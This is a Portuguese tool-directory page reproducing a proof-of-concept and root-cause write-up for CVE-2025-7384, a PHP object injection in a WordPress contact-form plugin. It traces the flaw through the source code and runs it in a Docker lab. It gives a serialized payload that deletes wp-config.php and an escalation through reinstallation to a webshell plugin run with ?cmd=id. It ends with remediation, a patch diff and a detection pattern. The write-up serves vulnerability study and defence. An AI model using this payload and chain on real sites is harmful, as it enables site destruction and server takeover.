Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-7384 — Exploit PoC e análise de causa raiz para uma injeção de objeto PHP crítica não autenticada no WordPress Database for Contact Form 7, que leva a RCE por meio de exclusão arbitrária de arquivos. | Kitploit
Ferramentas/GitHubGitHub/dungsocool/cve-2025-7384
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoLabs e Prática
GitHubdungsocool/cve-2025-7384

CVE-2025-7384

Exploit PoC e análise de causa raiz para uma injeção de objeto PHP crítica não autenticada no WordPress Database for Contact Form 7, que leva a RCE por meio de exclusão arbitrária de arquivos.

Ver Repositório
1há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-7384 — Injeção de Objeto PHP para RCE

Plugin: Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS: 9.8 (Crítico)
CWE: CWE-502 — Desserialização de Dados Não Confiáveis
Requisito de Autenticação: Nenhum (Não autenticado)
Impacto: Execução Remota de Código


Sumário

  1. Visão Geral da Vulnerabilidade
  2. Conceitos Relacionados
  3. Análise da Causa Raiz — Descoberta da Vulnerabilidade a partir do Código-Fonte
  4. Cadeia de Ataque
  5. Reprodução Passo a Passo (POC)
  6. Avaliação de Impacto
  7. Medidas de Remediação

1. Visão Geral da Vulnerabilidade

O plugin "Database for Contact Form 7" (slug: contact-form-entries) versão 1.4.3 e anteriores contém uma vulnerabilidade de Injeção de Objeto PHP. Quando um administrador do WordPress visualiza um registro (entrada) de formulário no painel administrativo, o plugin chama a função maybe_unserialize() diretamente em dados enviados por um usuário não autenticado por meio do Contact Form 7, sem controlar a lista de classes permitidas para instanciar.

Um atacante não precisa fazer login — basta enviar um formulário de contato comum inserindo um objeto PHP serializado em qualquer campo do formulário. Esses dados são armazenados crus no banco de dados. Quando um administrador abre para visualizar essa entrada, a função de desserialização instancia um objeto da escolha do atacante, acionando métodos mágicos como __destruct() ou __wakeup() → executando comportamento arbitrário dependendo dos gadgets POP disponíveis no ambiente WordPress.

Nível de Severidade: Com um gadget POP adequado (por exemplo, uma classe cujo método __destruct() chama unlink()), um atacante pode excluir o arquivo wp-config.php, revertendo o WordPress para a tela de instalação inicial → reinstalando com uma conta de administrador controlada pelo atacante → instalando um plugin contendo um webshell → alcançando Execução Remota de Código (RCE) total no servidor.

AtributoValor
ID CVECVE-2025-7384
Pontuação CVSS9.8 (Crítico)
CWECWE-502 — Desserialização de Dados Não Confiáveis
Plugin Afetadocontact-form-entries (Database for Contact Form 7) ≤ 1.4.3
Requisito de AutenticaçãoNenhum — qualquer pessoa que envie um formulário CF7 pode injetar payload
Condição de AcionamentoO administrador visualiza a entrada injetada no painel administrativo
Impacto MáximoExecução Remota de Código Não Autenticada
Versão Corrigida1.4.4+ (substitui unserialize por json_decode ou allowed_classes: false)

2. Conceitos Relacionados

Serialização / Desserialização em PHP

O PHP usa serialize() para converter um objeto em uma string de texto estruturada, e unserialize() para restaurar o objeto a partir dessa string. Quando unserialize() recebe dados de uma fonte não confiável (por exemplo, entrada do usuário), um atacante pode construir um objeto arbitrário pertencente a qualquer classe atualmente carregada na memória do PHP naquele momento.

Métodos Mágicos do PHP

Métodos especiais que o PHP invoca automaticamente durante o ciclo de vida de um objeto. Os mais importantes neste contexto:

  • __wakeup() — invocado imediatamente quando um objeto é desserializado
  • __destruct() — invocado quando um objeto é destruído (sai do escopo ou a requisição termina)
  • __toString() — invocado quando um objeto é convertido para string

Cadeia POP (Programação Orientada a Propriedades)

Uma técnica de encadear múltiplos métodos mágicos de classes existentes dentro da aplicação para construir uma sequência perigosa de comportamentos. O atacante não escreve novo código — ele apenas manipula as propriedades de objetos existentes para que, quando os métodos mágicos sejam executados, realizem ações não pretendidas pelos desenvolvedores.

maybe_unserialize() no WordPress

Uma função wrapper do núcleo do WordPress. Ela chama is_serialized() para verificar se uma string é dados serializados — se verdadeiro, chama unserialize() para restaurar o objeto. Problema: esta função não passa o parâmetro allowed_classes (disponível desde o PHP 7.0) para limitar quais classes são permitidas a instanciar.


3. Análise da Causa Raiz — Descoberta da Vulnerabilidade a partir do Código-Fonte

Passo 1: Encontrando Pontos de Sink (Caça a Sinks)

Comece pesquisando em todo o código-fonte do plugin para localizar funções de desserialização — estas são as funções mais perigosas em PHP, pois podem levar à Injeção de Objeto:

root@kitploit:~
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

image.png

A saída revela múltiplos pontos de chamada para maybe_unserialize(), mais notavelmente dentro de includes/data.php na linha 545 na função verify_val():

image 1.png

root@kitploit:~
// data.php lines 538-548
public function verify_val($string){
    if(in_array(substr(ltrim($string),0,1), array('{','['))
       && in_array(substr(rtrim($string),-1), array('}',']'))
    ){
        $val = json_decode($string, 1);
        if(is_array($val)){ $string = $val; }
    } else if(is_serialized($string)){            // line 544
        $string = maybe_unserialize($string);     // ★ line 545 — SINK
    }
    return $string;
}

Pergunta-chave: De onde vem a variável $string? Se ela vem de entrada do usuário sem filtragem → isto é uma vulnerabilidade.

Passo 2: Rastreamento Retroativo — De onde vêm os dados?

Descubra onde verify_val() é invocada. Rastreie retroativamente no mesmo arquivo data.php:

image 2.png

root@kitploit:~
// data.php lines 520-535
public function get_lead_detail($lead_id){
    global $wpdb;
    $table = $wpdb->prefix . 'vxcf_leads_detail';
    $detail_arr = $wpdb->get_results(
        $wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
        ARRAY_A
    );

    foreach($detail_arr as $k => $v){
        if(!empty($v['value'])){
            $detail_arr[$k]['value'] = $this->verify_val($v['value']);  // ← calls verify_val
        }
    }
    return $detail_arr;
}

→ $string é exatamente $v['value'] — valores recuperados da tabela do banco de dados wp_vxcf_leads_detail. Esta função é chamada quando um administrador visualiza os detalhes de uma entrada de formulário.

Próxima pergunta: De onde vêm os dados dentro de wp_vxcf_leads_detail? Quem os escreve?

Passo 3: Encontrando Pontos de Gravação de Dados (Fonte)

A partir do Passo 2, sabemos que os dados são puxados do banco de dados. Próxima pergunta: quem escreve dados nele? Pesquise por consultas INSERT dentro de data.php:

root@kitploit:~
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

image 3.png

Abra o código da função create_lead() (linhas 85-103) para detalhes:

image 4.png

Nas linhas 98-99, o valor $v — que é o conteúdo de um campo de formulário (por exemplo, your-message) — é inserido diretamente no banco de dados via $wpdb->insert(). O plugin se conecta ao evento wpcf7_before_send_mail do Contact Form 7, então sempre que um usuário envia um formulário, todos os campos são armazenados crus.

Verificação adicional: o plugin usa sanitize_text_field() e sanitize_textarea_field() antes de salvar, mas essas duas funções apenas removem tags HTML e caracteres HTML especiais — um payload serializado como O:21:"VulnerableFileHandler":2:{...} não contém tags HTML e, portanto, passa completamente intacto.

Passo 4: Conclusão — Confirmação da Vulnerabilidade

Neste ponto, o fluxo completo está estabelecido:

root@kitploit:~
Usuário não autenticado envia formulário CF7 (campo your-message contém objeto serializado)
    ↓ sanitize_text_field() — NÃO bloqueia strings serializadas
Salvo na tabela wp_vxcf_leads_detail (payload cru)
    ↓
Administrador visualiza entrada → get_lead_detail() → verify_val()
    ↓ is_serialized() retorna true
maybe_unserialize($string) — linha 545 → PHP instancia objeto arbitrário
    ↓
O __destruct() do objeto executa → realiza ação controlada pelo atacante

Causa Raiz: A função maybe_unserialize() em data.php:545 é chamada em dados originados de entrada não autenticada do usuário, sem passar allowed_classes: false. Um atacante simplesmente precisa enviar um objeto PHP serializado através do campo your-message de um formulário CF7 → quando um administrador visualiza a entrada, o PHP instancia esse objeto e aciona o método mágico __destruct().

Passo 5: Verificação com Depurador (Xdebug)

Para prova visual, defina um ponto de interrupção usando Xdebug na linha 545 de data.php. Após injetar o payload via formulário e fazer o administrador visualizar a entrada, o depurador pausa exatamente em maybe_unserialize():

image 5.png

Painel de Variáveis exibe $string contendo o payload do atacante:

  • $string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → o payload viajou do formulário → banco de dados → função de desserialização sem ser bloqueado

Linha de Execução:

  • Linha 545: $string=maybe_unserialize($string);

Pilha de Chamadas mostra a sequência de chamadas de função:

root@kitploit:~
vxcf_form_data->verify_val        data.php:545
vxcf_form_data->get_entries       data.php:388
vxcf_form::get_entries            contact-form-entries.php:2682
vxcf_form_pages->entries_page     plugin-pages.php:1017
...
WP_Hook->apply_filters            class-wp-hook.php:324
WP_Hook->do_action                class-wp-hook.php:348

→ Confirma o fluxo exato analisado: administrador visualiza entrada → get_entries() → verify_val() → maybe_unserialize().


4. Cadeia de Ataque

A cadeia de ataque consiste em 5 estágios. O atacante só precisa executar o Estágio 1 (envio do formulário). Os Estágios 2-5 ocorrem automaticamente depois que um administrador visualiza a entrada.

Estágio 1 — Injetar Payload (Não Autenticado)

O atacante envia um formulário CF7 com um objeto PHP serializado no campo de mensagem.

  • Endpoint: POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedback
  • O campo your-message contém: O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}
  • O plugin salva o payload na tabela wp_vxcf_leads_detail — sanitize_text_field() não bloqueia strings serializadas

Estágio 2 — Acionar a Desserialização (Aguardando o administrador)

O administrador abre a página Contact Form Entries → visualiza os detalhes da entrada → o plugin chama verify_val() → maybe_unserialize().

  • O PHP instancia o objeto VulnerableFileHandler com file_path = "/var/www/html/wp-config.php" e cleanup = true
  • Quando a requisição termina, a coleta de lixo do PHP invoca __destruct() → unlink("/var/www/html/wp-config.php")

Estágio 3 — Exclusão Arbitrária de Arquivos

O arquivo wp-config.php é excluído → o WordPress perde a conexão com o banco de dados.

  • Acessar http://target/ → redireciona automaticamente para /wp-admin/setup-config.php (tela de configuração inicial)
  • O WordPress trata o site como não instalado

Estágio 4 — Reinstalação do WordPress

O atacante reinstala o WordPress usando credenciais de banco de dados conhecidas (ou obtidas por força bruta).

  • Criar uma nova conta de administrador controlada pelo atacante
  • Entrar no painel administrativo com privilégios totais de administrador

Estágio 5 — Execução Remota de Código

Instalar um plugin contendo um webshell → executar comandos arbitrários do sistema.

  • Painel administrativo → Plugins → Adicionar Novo → Enviar plugin ZIP contendo webshell PHP
  • Acessar a URL do webshell: /wp-content/plugins/shell/shell.php?cmd=id
  • Saída: uid=33(www-data) gid=33(www-data) → RCE concluída

5. Reprodução Passo a Passo (POC)

5.1 Configuração do Ambiente

Inicie o laboratório Docker contendo WordPress + plugin vulnerável:

root@kitploit:~
cd CVE-2025-7384
docker-compose up --build -d

Aguarde cerca de 40 segundos até que os logs exibam LAB READY. Acesse http://localhost:8181 para verificar se o WordPress está em execução.

5.2 Identificar o Ponto de Injeção

A partir da análise do código-fonte na Seção 3, sabemos:

  • O sink está localizado em data.php:545 — maybe_unserialize() nos valores dos campos do formulário
  • A fonte é a tabela wp_vxcf_leads_detail — os dados vêm do formulário CF7
  • A sanitização depende apenas de sanitize_text_field() — não bloqueia strings serializadas

→ Conclusão: basta enviar um objeto PHP serializado em qualquer campo do formulário CF7. Escolha your-message por ser uma área de texto, aceitar strings longas e ter menos validação de formato (diferente de your-email, que exige formato de e-mail).

5.3 Injetar Payload via Formulário de Contato

Acesse http://localhost:8181/contact/, preencha o formulário da seguinte forma:

CampoValor
Your namedung
Your email[email protected]
Subjecttest inject
Your messageO:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}

image 6.png

Explicação do Payload:

  • O:21:"VulnerableFileHandler" — instancia a classe VulnerableFileHandler (que possui __destruct() chamando unlink())
  • s:9:"file_path";s:27:"/var/www/html/wp-config.php" — a propriedade file_path aponta para o arquivo alvo a ser excluído
  • s:7:"cleanup";b:1 — a propriedade cleanup = true faz com que __destruct() execute unlink()

Clique em Submit. O formulário mostra uma mensagem de erro de envio de e-mail (ou sucesso) — irrelevante, pois o plugin contact-form-entries já salvou todos os dados no banco de dados antes da entrega do e-mail.

5.4 Acionar a Desserialização — Administrador Visualiza a Entrada

Entre em http://localhost:8181/wp-admin (admin / admin123) → no menu esquerdo selecione CRM Entries → clique para visualizar a entrada recebida.

image 7.png

Este é o momento exato em que a execução atinge data.php:545 — o plugin busca o valor de your-message no banco de dados, a verificação is_serialized() retorna true, chama maybe_unserialize() → o PHP cria o objeto VulnerableFileHandler → a requisição termina, __destruct() é executado → unlink("/var/www/html/wp-config.php").

5.5 Confirmar a Exclusão Arbitrária de Arquivos

Navegue até http://localhost:8181/ no navegador → o WordPress redireciona para a página /wp-admin/setup-config.php (tela de configuração inicial) → o arquivo wp-config.php foi excluído com sucesso.

image 8.png

5.6 Escalar para RCE

Com o wp-config.php excluído, o WordPress reverte para o estado não instalado. Passos do atacante:

Passo 1 — Reinstalar o WordPress:

Acesse http://localhost:8181/wp-admin/setup-config.php → insira as credenciais do banco de dados:

CampoValor
Database Namewordpress
Usernamewpuser
Passwordwppass
Database Hostdb
Table Prefixwp_

Clique em Submit → Execute a instalação → crie uma nova conta de administrador controlada pelo atacante.

Passo 2 — Enviar Webshell:

Entre no painel administrativo → Plugins → Adicionar Novo → Enviar Plugin → envie o arquivo system-health.zip (ou system-monitor.zip).

image 9.png

Envio e Ativação bem-sucedidos.

Passo 3 — Executar Comandos (RCE):

Acesse: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id

image 10.png

Saída: uid=33(www-data) gid=33(www-data) → Execução Remota de Código Concluída

Acesse: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami

image 11.png

Saída: www-data → Execução Remota de Código Concluída


6. Avaliação de Impacto

Métrica CVSSValorExplicação
Vetor de AtaqueRedeExplorado via HTTP, sem necessidade de acesso físico
Complexidade do AtaqueBaixaRequer apenas o envio de 1 requisição POST contendo payload
Privilégios NecessáriosNenhumNenhuma autenticação necessária — formulário CF7 aberto ao público
Interação do UsuárioNenhuma*O administrador visualiza entradas durante o fluxo de trabalho rotineiro
ConfidencialidadeAltaRCE permite ler qualquer arquivo no servidor
IntegridadeAltaRCE permite escrever/modificar qualquer arquivo
DisponibilidadeAltaExcluir wp-config.php derruba o site inteiro

*Interação do Usuário: A NVD classifica como Nenhuma porque um administrador visualizar entradas de formulário é comportamento esperado, não uma interação anômala do usuário.

Escopo de Impacto no Mundo Real

  • O plugin "Database for Contact Form 7" tem mais de 100.000+ instalações ativas no wordpress.org
  • Qualquer site WordPress que execute este plugin na versão ≤ 1.4.3 junto com o Contact Form 7 está vulnerável
  • O atacante não precisa de nenhuma informação prévia — apenas precisa identificar que o site usa Contact Form 7 (facilmente detectável via código-fonte HTML)
  • O payload é armazenado persistentemente no banco de dados, tornando o ataque persistente até que a entrada seja excluída

7. Medidas de Remediação

Para Desenvolvedores de Plugin

  1. Não use maybe_unserialize() em dados fornecidos pelo usuário. Use json_decode() em vez disso quando for necessário armazenamento de dados estruturados.

  2. Se a desserialização for estritamente necessária, forneça a opção allowed_classes: false (PHP 7.0+):

root@kitploit:~
$data = unserialize($string, ['allowed_classes' => false]);

Isso impede o PHP de instanciar qualquer objeto — permitindo apenas tipos escalares e arrays.

  1. Valide os dados de entrada na camada de armazenamento: se um campo de formulário deve conter apenas texto simples, rejeite qualquer valor que corresponda ao padrão /^[OaCis]:\d+/ (indicador de dados serializados).

Para Administradores WordPress

  1. Atualize o plugin imediatamente para a versão 1.4.4 ou superior
  2. Inspecione a tabela wp_vxcf_leads_detail em busca de entradas contendo strings no formato O:XX:"ClassName": — a presença indica tentativas de ataque
  3. Garanta que o wp-config.php tenha permissões de arquivo restritivas (440 ou 400) — reduzindo a probabilidade de exclusão pelo processo do servidor web
  4. Implante um WAF (Web Application Firewall) configurado com regras para detectar objetos PHP serializados em dados POST

Diff do Patch (Referência)

root@kitploit:~
// ANTES (vulnerável):
} else if(is_serialized($string)){
    $string = maybe_unserialize($string);
}

// DEPOIS (corrigido):
} else if(is_serialized($string)){
    $string = json_decode(json_encode(
        unserialize($string, ['allowed_classes' => false])
    ), true);
}
Baixar ferramenta